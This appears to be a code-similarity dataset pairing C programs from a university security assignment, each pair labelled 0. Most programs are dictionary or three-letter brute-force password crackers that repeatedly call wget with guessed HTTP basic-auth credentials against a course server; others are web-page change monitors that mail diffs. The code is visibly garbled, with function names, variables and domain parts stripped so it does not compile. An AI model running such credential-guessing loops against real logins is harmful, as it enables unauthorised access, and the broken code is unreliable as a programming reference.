char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<strings.h>
#include<sys/time.h>
#include<stdlib.h>
#define MINUTE 45
int main()
{
system("rm index.html");
system("wget http://www.cs.rmit.edu./students/");
sleep(MINUTE);
system("mv index.html first.html");
system("wget http://www.cs.rmit.edu./students/");
system("sdiff first.html index.html > report.html");
FILE* fp = fopen("report.html","r");
if (fp != NULL)
{
printf("Please the changes in your mail");
system("mailx -s \"WatchDog \" < report.html");
}
system("rm first.html");
}
| 0 |
028.c | 060.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int CrackPasswd(FILE *fp)
{
int i, cnt, flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];
char fin;
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
while ((fin = fgetc(fp)) != EOF)
{
cnt = 0;
for (i=0;i<MAX_SIZE;i++)
{
passwd[i] = '\0';
[i] = '\0';
}
while(fin != '\n')
{
passwd[cnt] = fin;
cnt++;
fin = fgetc(fp);
}
if(strlen(passwd) <= 3)
{
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
strcpy(passwd,"");
}
}
}
int (int argc, char *argv[])
{
char *fname;
FILE *fp;
int , end;
= time();
if (argc != 2)
{
fprintf(stdout,"Usage : ./Dictionary <dictionary>\n");
return(EXIT_FAILURE);
}
fname = argv[1];
if((fp = fopen(fname, "r")) == NULL)
{
fprintf(stderr,"Error : Failed open %s for . \n",fname);
return(EXIT_FAILURE);
}
CrackPasswd(fp);
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
028.c | 022.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
token=strtok(line,delimiter);
while(token!=NULL)
{
count++;
printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
strcat(a,token);
printf("The request %s\n",a);
if(system(a)==0)
{
printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
printf("************************************************************\n");
printf("Your password is %s\n",token);
printf("The Request sent is %s \n",a);
end_time = time();
total_time = (end_time -start_time);
total_time /= 1000000000.0;
printf("The Time Taken is : %llds\n",total_time);
exit(1);
}
token=strtok(NULL,delimiter);
}
}
fclose(fp);
return 0;
}
| 0 |
028.c | 049.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char url[80], url1[80];
int i, j, k, syst = 1, nofattempts = 0;
char c1, c2, c3, pass[4];
int time_var,time1,time2, timeinsec;
time1 = time();
char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
for (i = 1; i <= 52; i++)
{
for (j = 1; j <= 52; j++)
{
for (k = 1; k <= 52; k++)
{
fflush(stdin);
c1 = itoa[i];
c2 = itoa[j];
c3 = itoa[k];
pass[0] = c1;
pass[1] = c2;
pass[2] = c3;
pass[3] = '\0';
strcat(url, pass);
strcat(url, url1);
++nofattempts;
syst = system(url);
printf("%s\n",pass);
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var / 1000000000;
printf(" Number of Attempts is %d", nofattempts);
printf("\n Found it! The Password is: %s\n", pass);
printf("\n The time_var taken crack the password by brute force is %lld seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
}
exit(0);
}
| 0 |
028.c | 065.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int i,j,k,cntr=0;
char pass[3];
char password[3];
char get[96];
char username[]="";
int R_VALUE;
double time_used;
clock_t ,end;
=clock();
for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}
for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}
for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}
pass[0] = i;
pass[1] = j;
pass[2] = k;
sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
cntr++;
printf("%d )%s\n\n", cntr, password);
sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
028.c | 003.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include "stdio.h"
#include "stdlib.h"
int getDifference()
{
system("wget http://www.cs.rmit.edu./students/");
return system("diff index.html index.html.1");
}
int sendMail()
{
int ret;
printf("\n Program has Detected a Change the webpage, a mail has been send yallara .\n");
ret = system("diff index.html index.html.1 | mail @cs.rmit.edu.");
sleep(1000);
system("clear");
}
void clean()
{
system("rm index.htm*.*");
}
()
{
while(1){
int ret = 0;
ret = getDifference();
if(ret>0)
{
sendMail();
}
else
{
printf("\n is difference in the web \n");
}
clean();
printf("Checking the every 24 hrs..");
sleep(86400000);
}
}
| 0 |
028.c | 020.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;
while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4");
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
while(token!=NULL)
{
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;
}
token=strtok(NULL,delimiter);
}
if(flag==1)
{
system("mail < test3");
}
fclose(fp1);
}
return(0);
}
| 0 |
028.c | 015.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
char *bruteforce(int *attempts);
int (void){
int i, counter;
int Timetaken;
int initTime = 0, exitTime = 0;
initTime = time();
bruteforce(&counter);
exitTime = time();
Timetaken = exitTime - initTime;
printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
printf("\nNumber of attempts is... %d", counter);
return 0;
}
char *bruteforce(int *attempts){
FILE *fp;
char ch[100];
*attempts=0;
fp = fopen("/usr/share/lib/dict/words", "r");
if (fp == NULL) {
printf("file not open");
}
while (fgets(ch, 100, fp) != NULL){
(*attempts)++;
int j = 0;
while (j <= 100){
if (ch[j] == '\n') {
ch[j] = '\0';
break;
}
j = j + 1;
}
char [100] = "wget --http-user= --http-passwd=";
strcat(, ch);
strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
printf("%s\n", );
if (system() == 0){
printf("Password cracked successfully: ");
printf("Password is %s", ch);
return NULL;
}
}
fclose(fp);
}
| 0 |
028.c | 038.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#define SUCCESS 0;
int ()
{
system("rm index.*");
system("wget --non-verbose http://www.cs.rmit.edu./students");
system("sleep 10");
system("wget --non-verbose http://www.cs.rmit.edu./students");
system("diff index.html index.html.1 >> output.txt");
printf("Comparison stored in output.txt");
system("mutt -a output.txt @cs.rmit.edu. ");
return SUCCESS;
}
| 0 |
028.c | 006.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
char url[100];
char syscom[]= "wget -nv --http-user= --http-passwd=";
char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
FILE *fp;
char pass[15], *valid;
valid = "pass";
int , end, time_var;
int hack =1;
int attempt =1;
fp = fopen("words.txt","r");
if (fp == NULL)
exit(1);
= time();
while (valid != NULL)
{
valid = fgets(pass,15,fp);
pass[strlen(pass)-1] ='\0';
if(strlen(pass) != 3)
continue;
printf("%s\n",pass);
sprintf(url,"%s%s %s",syscom,pass,http);
hack = system(url);
attempt++;
if (hack == 0)
{
end = time();
time_var = (end-);
printf("\nThe password is :%s",pass);
printf("\nNo. of Attempts crack the password :%d",attempt);
printf("\nTime taken crack the password = %lld sec\n",time_var/1000000000);
exit(1);
}
}
exit(1);
}
| 0 |
028.c | 017.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
char* joinMe(char* t, char* t2)
{
char* result;
int length = 0;
int j = 0;
int counter = 0;
length = strlen(t) + strlen(t2) + 1;
result = malloc(sizeof(char) * length);
for(j = 0; j<strlen(t); j++)
{
result[j] = t[j];
}
for(j = strlen(t); j<length; j++)
{
result[j] = t2[counter];
counter++;
}
result[length-1] = '\0';
return result;
}
void check(char** smallcmd)
{
int pid = 0;
int status;
if( (pid = fork()) == 0)
{
execvp(smallcmd[0],smallcmd);
}
else
{
while(wait(&status) != pid);
}
}
int (void)
{
int i = 0, j = 0, k = 0;
char** smallcmd;
char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",
"x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",
"U","V","W","X","Y","Z"};
int count = 0;
FILE *myFile,*myFile3;
int compare2;
char* myString;
int length = 0;
int start2, end2;
myString = malloc(sizeof(char) * 100);
smallcmd = malloc(sizeof(char *) * 8);
smallcmd[0] = "/usr/local//wget";
smallcmd[1] = "--http-user=";
smallcmd[2] = "--http-passwd=";
smallcmd[3] = "-o";
smallcmd[4] = "logwget";
smallcmd[5] = "-nv";
smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";
printf("---------------now trying Brute force attack-----------------\n");
start2 = time();
for(i = 0; i<52; i++)
{
smallcmd[2] = joinMe(smallcmd[2],[i]);
printf("Checking %s\n",smallcmd[2]);
check(smallcmd);
count++;
myFile = fopen("logwget", "r");
if (myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
printf("%s\n",myString);
if( strcmp(myString,"Authorization failed.\n") != 0)
{
printf("Passwd = %s",smallcmd[2]);
end2 = time();
myFile3 = fopen("log.txt","a");
fprintf(myFile3,"%s",smallcmd[2]);
fputs("\nTime taken by Brute Force Attack ",myFile3);
compare2 = (end2-start2)/1000000000;
fprintf(myFile3,"%lld",compare2);
fputs(" seconds\n",myFile3);
fputs("this took ",myFile3);
fprintf(myFile3,"%d",count);
fputs(" attempts\n\n",myFile3);
fclose(myFile3);
exit(0);
}
fclose(myFile);
}
smallcmd[2] = "--http-passwd=";
}
for(i = 0; i<52; i++)
{
for(j = 0; j<52; j++)
{
smallcmd[2] = joinMe(smallcmd[2],[i]);
smallcmd[2] = joinMe(smallcmd[2],[j]);
printf("Checking %s\n",smallcmd[2]);
check(smallcmd);
count++;
myFile = fopen("logwget", "r");
if (myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
printf("%s\n",myString);
if( strcmp(myString,"Authorization failed.\n") != 0)
{
printf("Passwd = %s",smallcmd[2]);
end2 = time();
myFile3 = fopen("log.txt","a");
fprintf(myFile3,"%s",smallcmd[2]);
fputs("\nTime taken by Brute Force Attack ",myFile3);
compare2 = (end2-start2)/1000000000;
fprintf(myFile3,"%lld",compare2);
fputs(" seconds\n",myFile3);
fputs("this took ",myFile3);
fprintf(myFile3,"%d",count);
fputs(" attempts\n\n",myFile3);
fclose(myFile3);
exit(0);
}
fclose(myFile);
}
smallcmd[2] = "--http-passwd=";
}
}
for(i = 0; i<52; i++)
{
for(j = 0; j<52; j++)
{
for(k = 0; k<52; k++)
{
smallcmd[2] = joinMe(smallcmd[2],[i]);
smallcmd[2] = joinMe(smallcmd[2],[j]);
smallcmd[2] = joinMe(smallcmd[2],[k]);
printf("Checking %s\n",smallcmd[2]);
check(smallcmd);
count++;
myFile = fopen("logwget", "r");
if (myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
printf("%s\n",myString);
if( strcmp(myString,"Authorization failed.\n") != 0)
{
printf("Passwd = %s",smallcmd[2]);
end2 = time();
myFile3 = fopen("log.txt","a");
fprintf(myFile3,"%s",smallcmd[2]);
fputs("\nTime taken by Brute Force Attack ",myFile3);
compare2 = (end2-start2)/1000000000;
fprintf(myFile3,"%lld",compare2);
fputs(" seconds\n",myFile3);
fputs("this took ",myFile3);
fprintf(myFile3,"%d",count);
fputs(" attempts\n\n",myFile3);
fclose(myFile3);
exit(0);
}
fclose(myFile);
}
smallcmd[2] = "--http-passwd=";
}
}
}
return 1;
}
| 0 |
028.c | 072.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int genchkpwd(char *passwd, FILE *fp)
{
int i,l=0,success;
char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
char finput;
strcpy(str1,"wget --http-user= --http-passwd=");
strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(tempstr,"");
while ((finput=fgetc(fp)) != EOF)
{
l=0;
for (i=0;i<MAX_SIZE;i++)
passwd[i]='\0';
for (i=0;i<MAX_SIZE;i++)
tempstr[i]='\0';
while(finput!='\n')
{
passwd[l]=finput;
l++;
finput = fgetc(fp);
}
if(strlen(passwd)<=3)
{
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=system (tempstr);
if (success==0)
return 1;
else
strcpy(tempstr,"");
strcpy(passwd,"");
}
}
return 1;
}
int (int argc, char *argv[])
{
FILE *fp;
char chararray[52],passwd[MAX_SIZE];
int i,success;
int , end;
= time();
if (argc != 2)
{
puts("Wrong Arguments FORMAT: ./<filename> <dictionary file>");
exit(0);
}
fp = fopen(argv[1], "r");
if (fp == NULL)
{
puts("Cannot Open Source File");
exit(0);
}
for (i=0;i<3;i++)
{
passwd[i]='\0';
}
success=genchkpwd(passwd,fp);
printf("\nPassword is %s\n",passwd);
getpid();
end = time();
printf("Time required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
028.c | 063.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>
int
()
{
int , end;
FILE *fp;
int i, j;
char input;
char password[30];
int check;
float total_time;
int number;
= time();
if ((fp = fopen("words", "r")) == NULL) {
fprintf(stderr, "Error : Failed open words for .\n");
return (EXIT_FAILURE);
}
while ((input = fgetc(fp)) != EOF) {
j = 0;
for (i = 0; i < 30; i++)
password[i] = '\0';
while(input != '\n' ) {
password[j] = input;
j++;
input = fgetc(fp);
}
if (strlen(password) <= 3) {
printf("%s\t",password);
fflush(stdout);
check = SysCall(password);
if (check == 0) {
getpid();
end = time();
total_time = (end - ) / 1e9;
printf("\ntotal time_var = %f ", total_time);
printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
printf("\navg time_var %f / %d = %f\n", total_time, number, total_time / number);
exit(0);
}
}
}
return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
char url1[255], url2[255], [255];
int rettype;
rettype = 0;
strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcat(, url1);
strcat(, password);
strcat(, url2);
rettype = system();
if (rettype == 0) {
printf("Successfully retrieved password: %s\n", password);
return 0;
}
strcpy(, "");
}
| 0 |
028.c | 039.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9
int findPassword(char *);
int ()
{
FILE *fp;
char word[64];
char pass[3];
int found;
int incr=0;
int , end, final;
if ((fp = fopen("words","r")) == NULL)
{
printf("Could Not open File - tset.txt");
return FAILURE;
}
printf("\n FILE SUCCESSFULLY opened");
= time();
while (fgets(word, 64, fp) != NULL)
{
incr++;
word[strlen(word) - 1] = '\0';
strncpy(pass,word,3);
found = findPassword(pass);
printf("\nTrial %d ",incr);
if(found == 2)
{
printf("\nPASSWORD FOUND -- %s",pass);
end = time();
final = end-;
printf(" %lld nanoseconds find the Password \n",final);
printf(" %lld nanoseconds (%1f seconds) find the Password \n",final,(double)final/SECONDS);
return SUCCESS;
}
}
fclose(fp);
return SUCCESS;
}
int findPassword(char *pass)
{
char var[50]="";
char [50]="";
strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcat(var,pass);
strcat(var,);
if(system(var)==0)
{
return 2;
}
return SUCCESS;
}
| 0 |
028.c | 025.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char PassString[100],pwd[3],p[100];
char *t;
const char l[]=" \n.,;:!-";
int count=0;
FILE *fh;
fh=fopen("words.txt","r");
int ,end,tot;
= time();
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
t=strtok(PassString,l);
while(t!=NULL)
{
count++;
strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(p,t);
if(system(p)==0)
{
end = time();
tot = (end -);
tot /= 1000000000.0;
printf("The total time_var taken is:%llds\n",tot);
printf("The number of attempts is:%d\n",count);
exit(1);
}
t=strtok(NULL,l);
printf("%s=\n",p);
}
}
fclose(fh);
return 0;
}
| 0 |
028.c | 011.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {
char [100]={'\0'};
strcpy(,b);
strcat(,);
printf ("Sending command %s\n",);
if ( system()== 0) {
printf ("\n password is : %s",);
return 1;
}
return 0;
}
int bruteForce(char [],char comb[],char *url) {
int i,j,k;
for(i=0;i<52 ;i++) {
comb[0]= [i];
if (execPassword(comb,url)== 1) return 1;
for(j=0;j<52;j++) {
comb[1] = [j];
if(execPassword(comb,url)==1) return 1;
for(k=0;k<52;k++) {
comb[2] = [k];
if(execPassword(comb,url)==1) return 1;
}
comb[1] = '\0';
}
}
return 0;
}
int (char *argc, char *argv[]) {
int i,j,k;
char strin[80] = {'\0'};
char *passwd;
char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
char v[4]={'\0'};
int startTime, stopTime, final;
int flag=false;
strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");
startTime = time();
if (bruteForce(a,v,strin)==1) {
stopTime = time();
final = stopTime-startTime;
}
printf ("\n The password is : %s",v);
printf("%lld nanoseconds (%lf) seconds \n", final, (double)final/OneBillion );
}
| 0 |
028.c | 034.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9
int () {
FILE *fptr;
char pass[257];
char send[100],path[50];
int res,count=0;
int startTime, stopTime, final;
startTime = time();
while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
while(1) {
fgets(pass,256,fptr);
if(pass == NULL) exit(1);
if(pass[3]=='\n') {
pass[3]='\0';
send[0]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,pass);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
fclose(fptr);
stopTime = time();
final = stopTime-startTime;
